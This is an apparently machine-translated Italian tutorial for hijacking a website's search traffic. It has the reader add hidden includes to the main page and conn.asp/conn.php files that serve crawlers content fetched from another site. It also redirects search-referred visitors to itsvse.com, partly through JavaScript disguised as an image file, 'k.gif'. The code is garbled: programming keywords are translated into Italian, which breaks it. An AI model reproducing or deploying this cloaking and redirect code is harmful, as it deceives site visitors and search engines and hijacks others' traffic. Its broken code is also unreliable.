Prima di tutto, è semplice: aggiungi il seguente codice alla pagina principale:
Versione ASP <!--#include file="conn.asp"--> <script src="images\k.gif"></script>
Versione PHP <!--#include file="conn.php"--> <script src="images\k.gif"></script>
Poi aggiungi il seguente codice al file conn secondo il programma del sito; se non hai un conn.asp o un conn.php, crealo da solo:
conn.asp edizione
----------- la seguente riproduzione-------------------------------- <% funzione isspider() dim agent, searray, io agent="agent:"&LCase(request.servervariables("http_user_agent")) searray=array("googlebot", "baiduspider", "sogou", "yahoo", "soso", "360spider") isspider= falso per i=0 a ubound (searray) se (instr(agente,searray(i))>0) allora isspider=vero prossimo Funzione finale
funzione fromse() dim urlrefer,i, searray urlrefer="refer:"&LCase(request. ServerVariables("HTTP_REFERER")) Fromse= falso se URLREFER="" allora fromse= false searray=array("google", "baidu", "sogou", "yahoo", "soso", "360") per i=0 a ubound (searray) se (instr(urlrefer,searray(i))>0) allora fromse=true prossimo Funzione finale
funzione gethttp(url) dim http set http=createobject("MSXML2. XMLHTTP") Http.open "GET",url,false Http.send() se Http.readystate<>4 allora Funzione di uscita fine se gethttp=bytes2BSTR(Http.responseBody) set http=niente se err.number<>0 allora err. Libero Funzione finale
function bytes2BSTR(vIn) fiocco Ritorno dim i, ThisCharCode, NextCharCode strReturn = "" Per i = 1 To LenB(vIn) ThisCharCode = AscB(MidB(vIn,i,1)) Se questo CharCode < &H80 allora strReturn = strReturn & Chr(ThisCharCode) Altrimenti NextCharCode = AscB(MidB(vIn,i+1,1)) strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) i = i + 1 Fine se Prossimo bytes2BSTR = strReturn Funzione finale
se(isspider()) allora dim myfso, fileurl, filecon, myfile, bodyurl, remotehtml bodyurl="http://www.itsvse.com" //snapshot URL risposta.chiaro remotehtml=gethttp(bodyurl) response.write(remotehtml) response.write("<!--"&now()&"-->") risposta.flush risposta.fine fine se
%>
conn.php
---------------- la seguente riproduzione----------------
<?php funzione is_search_bot(){ $user_agent = strtolower($_SERVER['HTTP_USER_AGENT']); $identify = array ('baiduspider', 'sogou spider', 'sosospider', 'iaskspider', 'naverrobot'); foreach ($identify AS $key => $tag){ se (strstr($user_agent, $tag)){ ritorno vero; } } return false; } funzione is_urlbaidu() { $come_from="baidu@sogou@soso@iask@naver"; $referer = esplode("@",$come_from); foreach($referer come $url){ se (stristr($_SERVER['HTTP_REFERER'],$url)){ ritorno vero; } } return false; }
se (is_search_bot()) { $html = "<title>Wuhan Software Engineering Vocational College</title> <meta nome=\"Autore\" contenuto=\"Compila le stesse parole chiave\"> <meta nome=\"Parole chiave\" contenuto=\"Parole chiave\"> <meta nome=
\"Descrizione\" contenuto=\"Descrizione\"> </head> <body>Contenuto</body></html>"; Echo $html; } se (!is_search_bot() & & is_urlbaidu())
{ Header('Location:http://www.itsvse.com');
} ?>
Infine, nella cartella immagini, carica un file k.gif k.gif il codice:
var s=document.referrer if(s.indexOf("baidu")>0 || s.indexOf("soso")>0 || s.indexOf("google")>0 || s.indexOf("360")>0 || s.indexOf("sogou")>0 ) location.href="http://www.itsvse.com"; URL di reindirizzamento
|